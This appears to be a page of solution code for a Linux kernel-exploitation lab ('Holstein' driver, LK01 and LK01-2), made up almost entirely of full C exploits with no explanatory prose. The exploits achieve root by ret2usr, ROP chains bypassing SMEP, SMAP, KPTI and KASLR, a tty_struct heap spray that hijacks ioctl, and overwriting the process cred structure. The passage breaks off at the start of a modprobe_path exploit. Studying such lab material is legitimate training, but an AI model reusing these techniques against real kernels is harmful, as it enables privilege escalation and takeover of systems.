    &lt;pre class=&#34;language-c&#34; &gt;
      &lt;code&gt;#include &amp;lt;fcntl.h&amp;gt;
#include &amp;lt;stdint.h&amp;gt;
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;

#define USER_LOG 1

#define VULN_DEVICE_NAME &amp;#34;holstein&amp;#34;
#define VULN_BUFFER_SIZE 0x400

#define PREPARE_KERNEL_CRED 0xffffffff8106e240
#define COMMIT_CREDS 0xffffffff8106e390

uint64_t user_cs, user_ss, user_sp, user_rflags;

static void save_state() {
  asm(&amp;#34;mov %[u_cs], cs;\n&amp;#34;
      &amp;#34;mov %[u_ss], ss;\n&amp;#34;
      &amp;#34;mov %[u_sp], rsp;\n&amp;#34;
      &amp;#34;pushf;\n&amp;#34;
      &amp;#34;pop %[u_rflags];\n&amp;#34;
      : [u_cs] &amp;#34;=r&amp;#34;(user_cs), [u_ss] &amp;#34;=r&amp;#34;(user_ss), [u_sp] &amp;#34;=r&amp;#34;(user_sp),
        [u_rflags] &amp;#34;=r&amp;#34;(user_rflags)::&amp;#34;memory&amp;#34;);
#if USER_LOG == 1
  printf(
      &amp;#34;[*] user_cs: 0x%lx, user_ss: 0x%lx, user_sp: 0x%lx, user_rflags: &amp;#34;
      &amp;#34;0x%lx\n&amp;#34;,
      user_cs, user_ss, user_sp, user_rflags);
#endif
}

static void get_shell() {
  char* argv[] = {&amp;#34;/bin/sh&amp;#34;, NULL};
  char* envp[] = {NULL};
  puts(&amp;#34;[+] Get shell!&amp;#34;);
  execve(&amp;#34;/bin/sh&amp;#34;, argv, envp);
}

static void restore_state() {
  asm volatile(
      &amp;#34;swapgs;\n&amp;#34;
      &amp;#34;mov qword ptr [rsp+0x20], %[u_ss];\n&amp;#34;
      &amp;#34;mov qword ptr [rsp+0x18], %[u_sp];\n&amp;#34;
      &amp;#34;mov qword ptr [rsp+0x10], %[u_rflags];\n&amp;#34;
      &amp;#34;mov qword ptr [rsp+0x08], %[u_cs];\n&amp;#34;
      &amp;#34;mov qword ptr [rsp+0x00], %[u_ret];\n&amp;#34;
      &amp;#34;iretq;\n&amp;#34; ::[u_cs] &amp;#34;r&amp;#34;(user_cs),
      [u_ss] &amp;#34;r&amp;#34;(user_ss), [u_sp] &amp;#34;r&amp;#34;(user_sp), [u_rflags] &amp;#34;r&amp;#34;(user_rflags),
      [u_ret] &amp;#34;r&amp;#34;(get_shell));
}

static void escalate_privilege() {
  void* (*prepare_kernel_cred)(int) = (void*)(PREPARE_KERNEL_CRED);
  void (*commit_creds)(char*) = (void*)(COMMIT_CREDS);
  commit_creds(prepare_kernel_cred(0));
  restore_state();
}

int main() {
  char buf[2 * VULN_BUFFER_SIZE] = {0};
  int fd = open(&amp;#34;/dev/&amp;#34; VULN_DEVICE_NAME, O_RDWR);
  if (fd &amp;lt; 0) {
    return -1;
  }
  save_state();

  {
    memset(buf, &amp;#39;A&amp;#39;, VULN_BUFFER_SIZE);
    uint64_t* rop_buf = (uint64_t*)(buf + VULN_BUFFER_SIZE);
    *rop_buf++ = 0xdeadbeefcafebebe;
    *rop_buf++ = (uint64_t)(escalate_privilege);
  }
  write(fd, buf, VULN_BUFFER_SIZE + 0x10);
  return 0;
}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;





  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;197268534&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;197268534&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;exploit_with_kaslr.c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-c&#34; &gt;
      &lt;code&gt;#include &amp;lt;fcntl.h&amp;gt;
#include &amp;lt;stdint.h&amp;gt;
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;

#define USER_LOG 1

#define VULN_DEVICE_NAME &amp;#34;holstein&amp;#34;
#define VULN_BUFFER_SIZE 0x400

#define KERNEL_BASE 0xffffffff81000000
#define PREPARE_KERNEL_CRED_OFFSET (0xffffffff8106e240 - KERNEL_BASE)
#define PREPARE_KERNEL_CRED (kernel_base + PREPARE_KERNEL_CRED_OFFSET)
#define COMMIT_CREDS_OFFSET (0xffffffff8106e390 - KERNEL_BASE)
#define COMMIT_CREDS (kernel_base + COMMIT_CREDS_OFFSET)

uint64_t kernel_base;
uint64_t user_cs, user_ss, user_sp, user_rflags;

static void save_state() {
  asm(&amp;#34;mov %[u_cs], cs;\n&amp;#34;
      &amp;#34;mov %[u_ss], ss;\n&amp;#34;
      &amp;#34;mov %[u_sp], rsp;\n&amp;#34;
      &amp;#34;pushf;\n&amp;#34;
      &amp;#34;pop %[u_rflags];\n&amp;#34;
      : [u_cs] &amp;#34;=r&amp;#34;(user_cs), [u_ss] &amp;#34;=r&amp;#34;(user_ss), [u_sp] &amp;#34;=r&amp;#34;(user_sp),
        [u_rflags] &amp;#34;=r&amp;#34;(user_rflags)::&amp;#34;memory&amp;#34;);
#if USER_LOG == 1
  printf(
      &amp;#34;[*] user_cs: 0x%lx, user_ss: 0x%lx, user_sp: 0x%lx, user_rflags: &amp;#34;
      &amp;#34;0x%lx\n&amp;#34;,
      user_cs, user_ss, user_sp, user_rflags);
#endif
}

static void get_shell() {
  char* argv[] = {&amp;#34;/bin/sh&amp;#34;, NULL};
  char* envp[] = {NULL};
  puts(&amp;#34;[+] Get shell!&amp;#34;);
  execve(&amp;#34;/bin/sh&amp;#34;, argv, envp);
}

static void restore_state() {
  asm volatile(
      &amp;#34;swapgs;\n&amp;#34;
      &amp;#34;mov qword ptr [rsp+0x20], %[u_ss];\n&amp;#34;
      &amp;#34;mov qword ptr [rsp+0x18], %[u_sp];\n&amp;#34;
      &amp;#34;mov qword ptr [rsp+0x10], %[u_rflags];\n&amp;#34;
      &amp;#34;mov qword ptr [rsp+0x08], %[u_cs];\n&amp;#34;
      &amp;#34;mov qword ptr [rsp+0x00], %[u_ret];\n&amp;#34;
      &amp;#34;iretq;\n&amp;#34; ::[u_cs] &amp;#34;r&amp;#34;(user_cs),
      [u_ss] &amp;#34;r&amp;#34;(user_ss), [u_sp] &amp;#34;r&amp;#34;(user_sp), [u_rflags] &amp;#34;r&amp;#34;(user_rflags),
      [u_ret] &amp;#34;r&amp;#34;(get_shell));
}

static void escalate_privilege() {
  void* (*prepare_kernel_cred)(int) = (void*)(PREPARE_KERNEL_CRED);
  void (*commit_creds)(char*) = (void*)(COMMIT_CREDS);
  commit_creds(prepare_kernel_cred(0));
  restore_state();
}

static __attribute__((naked)) void get_kernel_base_and_escalate_privilege() {
  asm(&amp;#34;mov %[k_base], qword ptr [rsp];\n&amp;#34; : [k_base] &amp;#34;=r&amp;#34;(kernel_base));
  kernel_base -= 0x1506B9;
  asm(&amp;#34;jmp %[escalate_privilege];\n&amp;#34;
      :
      : [escalate_privilege] &amp;#34;i&amp;#34;(escalate_privilege));
}

int main() {
  char buf[2 * VULN_BUFFER_SIZE] = {0};
  int fd = open(&amp;#34;/dev/&amp;#34; VULN_DEVICE_NAME, O_RDWR);
  if (fd &amp;lt; 0) {
    return -1;
  }
  save_state();

  {
    memset(buf, &amp;#39;A&amp;#39;, VULN_BUFFER_SIZE);
    uint64_t* rop_buf = (uint64_t*)(buf + VULN_BUFFER_SIZE);
    *rop_buf++ = 0xdeadbeefcafebebe;
    *rop_buf++ = (uint64_t)(get_kernel_base_and_escalate_privilege);
  }
  write(fd, buf, VULN_BUFFER_SIZE + 0x10);
  return 0;
}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;





  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;462381597&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;462381597&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;exploit_with_smep_smap.c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-c&#34; &gt;
      &lt;code&gt;#include &amp;lt;fcntl.h&amp;gt;
#include &amp;lt;stdint.h&amp;gt;
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;

#define USER_LOG 1

#define VULN_DEVICE_NAME &amp;#34;holstein&amp;#34;
#define VULN_BUFFER_SIZE 0x400

#define POP_RDI 0xffffffff8127bbdc
#define PREPARE_KERNEL_CRED 0xffffffff8106e240
#define XOR_RCX_RCX 0xffffffff810abef0
#define MOV_RDI_RAX_REP 0xffffffff8160c96b
#define COMMIT_CREDS 0xffffffff8106e390
#define SWAPGS 0xffffffff8160bf7e
#define IRETQ 0xffffffff810202af

uint64_t user_cs, user_ss, user_sp, user_rflags;

static void save_state() {
  asm(&amp;#34;mov %[u_cs], cs;\n&amp;#34;
      &amp;#34;mov %[u_ss], ss;\n&amp;#34;
      &amp;#34;mov %[u_sp], rsp;\n&amp;#34;
      &amp;#34;pushf;\n&amp;#34;
      &amp;#34;pop %[u_rflags];\n&amp;#34;
      : [u_cs] &amp;#34;=r&amp;#34;(user_cs), [u_ss] &amp;#34;=r&amp;#34;(user_ss), [u_sp] &amp;#34;=r&amp;#34;(user_sp),
        [u_rflags] &amp;#34;=r&amp;#34;(user_rflags)::&amp;#34;memory&amp;#34;);
#if USER_LOG == 1
  printf(
      &amp;#34;[*] user_cs: 0x%lx, user_ss: 0x%lx, user_sp: 0x%lx, user_rflags: &amp;#34;
      &amp;#34;0x%lx\n&amp;#34;,
      user_cs, user_ss, user_sp, user_rflags);
#endif
}

static void get_shell() {
  char* argv[] = {&amp;#34;/bin/sh&amp;#34;, NULL};
  char* envp[] = {NULL};
  puts(&amp;#34;[+] Get shell!&amp;#34;);
  execve(&amp;#34;/bin/sh&amp;#34;, argv, envp);
}

int main() {
  char buf[2 * VULN_BUFFER_SIZE] = {0};
  int fd = open(&amp;#34;/dev/&amp;#34; VULN_DEVICE_NAME, O_RDWR);
  if (fd &amp;lt; 0) {
    return -1;
  }
  save_state();

  memset(buf, &amp;#39;A&amp;#39;, VULN_BUFFER_SIZE);
  uint64_t* rop_buf = (uint64_t*)(buf + VULN_BUFFER_SIZE);
  *rop_buf++ = 0xdeadbeefcafebebe;
  *rop_buf++ = (uint64_t)(POP_RDI);
  *rop_buf++ = 0;
  *rop_buf++ = (uint64_t)(PREPARE_KERNEL_CRED);
  *rop_buf++ = (uint64_t)(XOR_RCX_RCX);
  *rop_buf++ = (uint64_t)(MOV_RDI_RAX_REP);
  *rop_buf++ = (uint64_t)(COMMIT_CREDS);
  *rop_buf++ = (uint64_t)(SWAPGS);
  *rop_buf++ = (uint64_t)(IRETQ);
  *rop_buf++ = (uint64_t)(get_shell);
  *rop_buf++ = (uint64_t)(user_cs);
  *rop_buf++ = (uint64_t)(user_rflags);
  *rop_buf++ = (uint64_t)(user_sp);
  *rop_buf++ = (uint64_t)(user_ss);
  write(fd, buf, (uint64_t)rop_buf - (uint64_t)buf);
  return 0;
}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;





  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;259486371&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;259486371&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;exploit_with_smep_smap_kpti_kaslr.c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-c&#34; &gt;
      &lt;code&gt;#include &amp;lt;fcntl.h&amp;gt;
#include &amp;lt;stdint.h&amp;gt;
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;

#define USER_LOG 1

#define VULN_DEVICE_NAME &amp;#34;holstein&amp;#34;
#define VULN_BUFFER_SIZE 0x400

#define KERNEL_BASE 0xffffffff81000000
#define POP_RDI_OFFSET (0xffffffff8127bbdc - KERNEL_BASE)
#define POP_RDI (kernel_base + POP_RDI_OFFSET)
#define PREPARE_KERNEL_CRED_OFFSET (0xffffffff8106e240 - KERNEL_BASE)
#define PREPARE_KERNEL_CRED (kernel_base + PREPARE_KERNEL_CRED_OFFSET)
#define XOR_RCX_RCX_OFFSET (0xffffffff810abef0 - KERNEL_BASE)
#define XOR_RCX_RCX (kernel_base + XOR_RCX_RCX_OFFSET)
#define MOV_RDI_RAX_REP_OFFSET (0xffffffff8160c96b - KERNEL_BASE)
#define MOV_RDI_RAX_REP (kernel_base + MOV_RDI_RAX_REP_OFFSET)
#define COMMIT_CREDS_OFFSET (0xffffffff8106e390 - KERNEL_BASE)
#define COMMIT_CREDS (kernel_base + COMMIT_CREDS_OFFSET)
#define BYPASS_KPTI_OFFSET (0xffffffff81800e26 - KERNEL_BASE)
#define BYPASS_KPTI (kernel_base + BYPASS_KPTI_OFFSET)

uint64_t kernel_base;
uint64_t user_cs, user_ss, user_sp, user_rflags;

static void save_state() {
  asm(&amp;#34;mov %[u_cs], cs;\n&amp;#34;
      &amp;#34;mov %[u_ss], ss;\n&amp;#34;
      &amp;#34;mov %[u_sp], rsp;\n&amp;#34;
      &amp;#34;pushf;\n&amp;#34;
      &amp;#34;pop %[u_rflags];\n&amp;#34;
      : [u_cs] &amp;#34;=r&amp;#34;(user_cs), [u_ss] &amp;#34;=r&amp;#34;(user_ss), [u_sp] &amp;#34;=r&amp;#34;(user_sp),
        [u_rflags] &amp;#34;=r&amp;#34;(user_rflags)::&amp;#34;memory&amp;#34;);
#if USER_LOG == 1
  printf(
      &amp;#34;[*] user_cs: 0x%lx, user_ss: 0x%lx, user_sp: 0x%lx, user_rflags: &amp;#34;
      &amp;#34;0x%lx\n&amp;#34;,
      user_cs, user_ss, user_sp, user_rflags);
#endif
}

static void get_shell() {
  char* argv[] = {&amp;#34;/bin/sh&amp;#34;, NULL};
  char* envp[] = {NULL};
  puts(&amp;#34;[+] Get shell!&amp;#34;);
  execve(&amp;#34;/bin/sh&amp;#34;, argv, envp);
}

int main() {
  char buf[2 * VULN_BUFFER_SIZE] = {0};
  int fd = open(&amp;#34;/dev/&amp;#34; VULN_DEVICE_NAME, O_RDWR);
  if (fd &amp;lt; 0) {
    return -1;
  }
  save_state();

  read(fd, buf, sizeof(buf));
  kernel_base = ((uint64_t*)buf)[0x408 / 8] - 0x13d33c;
#if USER_LOG == 1
  printf(&amp;#34;[*] kernel_base: 0x%lx\n&amp;#34;, kernel_base);
#endif

  memset(buf, &amp;#39;A&amp;#39;, VULN_BUFFER_SIZE);
  uint64_t* rop_buf = (uint64_t*)(buf + VULN_BUFFER_SIZE);
  *rop_buf++ = 0xdeadbeefcafebebe;
  *rop_buf++ = (uint64_t)(POP_RDI);
  *rop_buf++ = 0;
  *rop_buf++ = (uint64_t)(PREPARE_KERNEL_CRED);
  *rop_buf++ = (uint64_t)(XOR_RCX_RCX);
  *rop_buf++ = (uint64_t)(MOV_RDI_RAX_REP);
  *rop_buf++ = (uint64_t)(COMMIT_CREDS);
  *rop_buf++ = (uint64_t)(BYPASS_KPTI);
  *rop_buf++ = 0xdeadbeefcafebe00;
  *rop_buf++ = 0xdeadbeefcafebe01;
  *rop_buf++ = (uint64_t)(get_shell);
  *rop_buf++ = (uint64_t)(user_cs);
  *rop_buf++ = (uint64_t)(user_rflags);
  *rop_buf++ = (uint64_t)(user_sp);
  *rop_buf++ = (uint64_t)(user_ss);
  write(fd, buf, (uint64_t)rop_buf - (uint64_t)buf);

  return 0;
}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;h2 id=&#34;lk01-2-holstein-v2-heap-overflow&#34;&gt;LK01-2 (Holstein v2: Heap Overflow)&lt;/h2&gt;



  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;821376549&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;821376549&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;exploit_using_tty_struct.c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-c&#34; &gt;
      &lt;code&gt;#include &amp;lt;assert.h&amp;gt;
#include &amp;lt;fcntl.h&amp;gt;
#include &amp;lt;stdint.h&amp;gt;
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;sys/ioctl.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;

#define PRINT_DEBUG 1

#define VULN_DEVICE_NAME &amp;#34;holstein&amp;#34;
#define VULN_BUFFER_SIZE 0x400

#define KERNEL_BASE 0xffffffff81000000
#define PUSH_RDX_POP_RSP_R13_RBP_OFFSET (0xffffffff813a478a - KERNEL_BASE)
#define PUSH_RDX_POP_RSP_R13_RBP (kernel_base + PUSH_RDX_POP_RSP_R13_RBP_OFFSET)
#define POP_RDI_OFFSET (0xffffffff810d748d - KERNEL_BASE)
#define POP_RDI (kernel_base + POP_RDI_OFFSET)
#define PREPARE_KERNEL_CRED_OFFSET (0xffffffff81074650 - KERNEL_BASE)
#define PREPARE_KERNEL_CRED (kernel_base + PREPARE_KERNEL_CRED_OFFSET)
#define POP_RCX_OFFSET (0xffffffff8113c1c4 - KERNEL_BASE)
#define POP_RCX (kernel_base + POP_RCX_OFFSET)
#define MOV_RDI_RAX_REP_OFFSET (0xffffffff8162707b - KERNEL_BASE)
#define MOV_RDI_RAX_REP (kernel_base + MOV_RDI_RAX_REP_OFFSET)
#define COMMIT_CREDS_OFFSET (0xffffffff810744b0 - KERNEL_BASE)
#define COMMIT_CREDS (kernel_base + COMMIT_CREDS_OFFSET)
#define BYPASS_KPTI_OFFSET \
  (0xffffffff81800e26 -    \
   KERNEL_BASE)  // Offset in the function
                 // swapgs_restore_regs_and_return_to_usermode
#define BYPASS_KPTI (kernel_base + BYPASS_KPTI_OFFSET)

uint64_t kernel_base, g_buf_addr;
uint64_t user_cs, user_ss, user_sp, user_rflags;

static void save_state() {
  asm(&amp;#34;mov %[u_cs], cs;\n&amp;#34;
      &amp;#34;mov %[u_ss], ss;\n&amp;#34;
      &amp;#34;mov %[u_sp], rsp;\n&amp;#34;
      &amp;#34;pushf;\n&amp;#34;
      &amp;#34;pop %[u_rflags];\n&amp;#34;
      : [u_cs] &amp;#34;=r&amp;#34;(user_cs), [u_ss] &amp;#34;=r&amp;#34;(user_ss), [u_sp] &amp;#34;=r&amp;#34;(user_sp),
        [u_rflags] &amp;#34;=r&amp;#34;(user_rflags)::&amp;#34;memory&amp;#34;);
#if PRINT_DEBUG == 1
  printf(
      &amp;#34;[*] user_cs: 0x%lx, user_ss: 0x%lx, user_sp: 0x%lx, user_rflags: &amp;#34;
      &amp;#34;0x%lx\n&amp;#34;,
      user_cs, user_ss, user_sp, user_rflags);
#endif
}

static void get_shell() {
  char *argv[] = {&amp;#34;/bin/sh&amp;#34;, NULL};
  char *envp[] = {NULL};
  puts(&amp;#34;[+] Get shell!&amp;#34;);
  execve(&amp;#34;/bin/sh&amp;#34;, argv, envp);
}

int main() {
  char buf[VULN_BUFFER_SIZE * 2];

  save_state();

  int tty_spray[100];
  for (int i = 0; i &amp;lt; 50; ++i) {
    tty_spray[i] = open(&amp;#34;/dev/ptmx&amp;#34;, O_RDONLY | O_NOCTTY);
    if (tty_spray[i] &amp;lt; 0) {
      return -1;
    }
  }

  int fd = open(&amp;#34;/dev/&amp;#34; VULN_DEVICE_NAME, O_RDWR);
  if (fd &amp;lt; 0) {
    return -1;
  }

  for (int i = 50; i &amp;lt; 100; ++i) {
    tty_spray[i] = open(&amp;#34;/dev/ptmx&amp;#34;, O_RDONLY | O_NOCTTY);
    if (tty_spray[i] &amp;lt; 0) {
      return -1;
    }
  }

  read(fd, buf, sizeof(buf));
  kernel_base = *(uint64_t *)(buf + 0x400 + 0x08 * 3) - 0xc38880;
  g_buf_addr = *(uint64_t *)(buf + 0x400 + 0x08 * 7) - 0x438;
#if PRINT_DEBUG == 1
  if (kernel_base &amp;amp; 0xFFFFFF != 0) {
    printf(&amp;#34;[-] Failed to leak kernel base\n&amp;#34;);
    return -1;
  }
  if (g_buf_addr &amp;amp; 0xFF != 0) {
    printf(&amp;#34;[-] Failed to leak g_buf base\n&amp;#34;);
    return -1;
  }
  printf(&amp;#34;[*] kernel_base: %p\n&amp;#34;, (void *)kernel_base);
  printf(&amp;#34;[*] g_buf_addr: %p\n&amp;#34;, (void *)g_buf_addr);
#endif

  uint64_t *rop_buf = (uint64_t *)buf;
  *rop_buf++ = PUSH_RDX_POP_RSP_R13_RBP;  // overwrite ioctl
  *rop_buf++ = POP_RDI;
  *rop_buf++ = 0;
  *rop_buf++ = PREPARE_KERNEL_CRED;
  *rop_buf++ = POP_RCX;
  *rop_buf++ = 0;
  *rop_buf++ = MOV_RDI_RAX_REP;
  *rop_buf++ = COMMIT_CREDS;
  *rop_buf++ = BYPASS_KPTI;
  *rop_buf++ = 0xdeadbeefcafebe00;
  *rop_buf++ = 0xdeadbeefcafebe01;
  *rop_buf++ = (uint64_t)(get_shell);
  *rop_buf++ = (uint64_t)(user_cs);
  *rop_buf++ = (uint64_t)(user_rflags);
  *rop_buf++ = (uint64_t)(user_sp);
  *rop_buf++ = (uint64_t)(user_ss);

  *(uint64_t *)(buf + 0x400 + 0x08 * 3) = g_buf_addr - 0x0c * 8;
  write(fd, buf, sizeof(buf));

  for (int i = 0; i &amp;lt; 100; ++i) {
    ioctl(tty_spray[i], 0x00, g_buf_addr - 0x08 * 2 + 0x08);
  }

  close(fd);
  for (int i = 0; i &amp;lt; 100; ++i) {
    close(tty_spray[i]);
  }
  return 0;
}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;





  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;386257194&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;386257194&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;exploit_using_cred.c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-c&#34; &gt;
      &lt;code&gt;#include &amp;lt;assert.h&amp;gt;
#include &amp;lt;fcntl.h&amp;gt;
#include &amp;lt;stdint.h&amp;gt;
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;sys/ioctl.h&amp;gt;
#include &amp;lt;sys/prctl.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;

#define PRINT_DEBUG 1

#define VULN_DEVICE_NAME &amp;#34;holstein&amp;#34;
#define VULN_BUFFER_SIZE 0x400

#define KERNEL_BASE 0xffffffff81000000
#define MOV_DWORD_PTR_RDX_ECX_OFFSET (0xffffffff8101083d - KERNEL_BASE)
#define MOV_DWORD_PTR_RDX_ECX (kernel_base + MOV_DWORD_PTR_RDX_ECX_OFFSET)
#define MOV_EAX_DWORD_PTR_RDX_OFFSET (0xffffffff8118a285 - KERNEL_BASE)
#define MOV_EAX_DWORD_PTR_RDX (kernel_base + MOV_EAX_DWORD_PTR_RDX_OFFSET)

uint64_t kernel_base, g_buf_addr;

int main() {
  char buf[VULN_BUFFER_SIZE * 2];

  int tty_spray[100];
  for (int i = 0; i &amp;lt; 50; ++i) {
    tty_spray[i] = open(&amp;#34;/dev/ptmx&amp;#34;, O_RDONLY | O_NOCTTY);
    if (tty_spray[i] &amp;lt; 0) {
      printf(&amp;#34;[-] Failed to open tty\n&amp;#34;);
      return -1;
    }
  }

  int fd = open(&amp;#34;/dev/&amp;#34; VULN_DEVICE_NAME, O_RDWR);
  if (fd &amp;lt; 0) {
    printf(&amp;#34;[-] Failed to open &amp;#34; VULN_DEVICE_NAME &amp;#34;\n&amp;#34;);
    return -1;
  }

  for (int i = 50; i &amp;lt; 100; ++i) {
    tty_spray[i] = open(&amp;#34;/dev/ptmx&amp;#34;, O_RDONLY | O_NOCTTY);
    if (tty_spray[i] &amp;lt; 0) {
      printf(&amp;#34;[-] Failed to open tty\n&amp;#34;);
      return -1;
    }
  }

  read(fd, buf, sizeof(buf));
  kernel_base = *(uint64_t *)(buf + 0x400 + 0x08 * 3) - 0xc38880;
  g_buf_addr = *(uint64_t *)(buf + 0x400 + 0x08 * 7) - 0x438;
  if (kernel_base &amp;amp; 0xFFFFFF != 0) {
    printf(&amp;#34;[-] Failed to leak kernel base\n&amp;#34;);
    return -1;
  }
  if (g_buf_addr &amp;amp; 0xFF != 0) {
    printf(&amp;#34;[-] Failed to leak g_buf base\n&amp;#34;);
    return -1;
  }
#if PRINT_DEBUG == 1
  printf(&amp;#34;[*] kernel_base: %p\n&amp;#34;, (void *)kernel_base);
  printf(&amp;#34;[*] g_buf_addr: %p\n&amp;#34;, (void *)g_buf_addr);
#endif

  uint64_t *rop_buf = (uint64_t *)buf;
  *rop_buf++ = 0xdeadbeefcafebebe;  // overwrite ioctl
  *(uint64_t *)(buf + 0x400 + 0x08 * 3) = g_buf_addr - 0x0c * 8;
  write(fd, buf, sizeof(buf));

#define AAW_INST_ADDR MOV_DWORD_PTR_RDX_ECX
#define AAR_INST_ADDR MOV_EAX_DWORD_PTR_RDX
#define SET_IOCTL_INST_ADDR(ADDR)          \
  ({                                       \
    *(uint64_t *)(buf) = (uint64_t)(ADDR); \
    write(fd, buf, sizeof(buf));           \
  })
  SET_IOCTL_INST_ADDR(AAR_INST_ADDR);
  uint64_t modified_tty_fd = 0;
  for (int i = 0; i &amp;lt; 100; ++i) {
    if (ioctl(tty_spray[i], 0x00, g_buf_addr) == *(uint32_t *)buf) {
      modified_tty_fd = tty_spray[i];
      break;
    }
  }
#define AAW32(ADDR, VAL)                                  \
  ({                                                      \
    ioctl(modified_tty_fd, (uint32_t)(VAL),               \
          (uint64_t)(ADDR)); /*RCX &amp;lt;- ARG1, RDX &amp;lt;- ARG2*/ \
  })
#define AAR32(ADDR)                                                \
  ({                                                               \
    uint32_t ret = ioctl(modified_tty_fd, 0x00, (uint64_t)(ADDR)); \
    ret;                                                           \
  })

  const char kEvilProcessName[] = &amp;#34;uniguri&amp;#34;;
  if (prctl(PR_SET_NAME, kEvilProcessName) == -1) {
    printf(&amp;#34;[-] Failed to set process name\n&amp;#34;);
    return -1;
  }

  SET_IOCTL_INST_ADDR(AAR_INST_ADDR);
  uint64_t cur_task_addr = 0;
  for (uint64_t cur_addr = g_buf_addr - 0x1000000;; cur_addr += 8) {
    uint32_t val = AAR32(cur_addr);
#if PRINT_DEBUG == 1
    if ((cur_addr &amp;amp; 0xfffff) == 0) {
      printf(&amp;#34;[*] Searching 0x%016lx...\n&amp;#34;, cur_addr);
    }
#endif

    if (val == *(uint32_t *)(kEvilProcessName)) {
      val = AAR32(cur_addr + 0x04);
      if (val == *(uint32_t *)(kEvilProcessName + 4)) {
        cur_task_addr = cur_addr;
#if PRINT_DEBUG == 1
        printf(&amp;#34;[+] Found current task name(%s): 0x%016lx\n&amp;#34;, kEvilProcessName,
               cur_task_addr);
#endif
        break;
      }
    }
  }
  if (cur_task_addr == 0) {
    printf(&amp;#34;[-] Failed to find current task\n&amp;#34;);
    return -1;
  }

  uint64_t cur_task_cred =
      AAR32(cur_task_addr - 8) | ((uint64_t)AAR32(cur_task_addr - 4) &amp;lt;&amp;lt; 32);
#if PRINT_DEBUG == 1
  printf(&amp;#34;[*] current_task_cred: 0x%016lx\n&amp;#34;, cur_task_cred);
#endif

  SET_IOCTL_INST_ADDR(AAW_INST_ADDR);
  for (int i = 1; i &amp;lt; 9; ++i) {
    AAW32(cur_task_cred + 0x4 * i, 0);
  }

  puts(&amp;#34;[+] Get shell!&amp;#34;);
  system(&amp;#34;/bin/sh&amp;#34;);

#undef SET_IOCTL_INST_ADDR
#undef AAR32
#undef AAW32

  close(fd);
  for (int i = 0; i &amp;lt; 100; ++i) {
    close(tty_spray[i]);
  }
  return 0;
}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;





  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;569318274&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;569318274&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;exploit_using_modprobe_path.c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-c&#34; &gt;
      &lt;code&gt;#include &amp;lt;assert.h&amp;gt;
#include &amp;lt;fcntl.h&amp;gt;
#include &amp;lt;stdint.h&amp;gt;
#include &amp;lt;stdio.h&amp;gt;
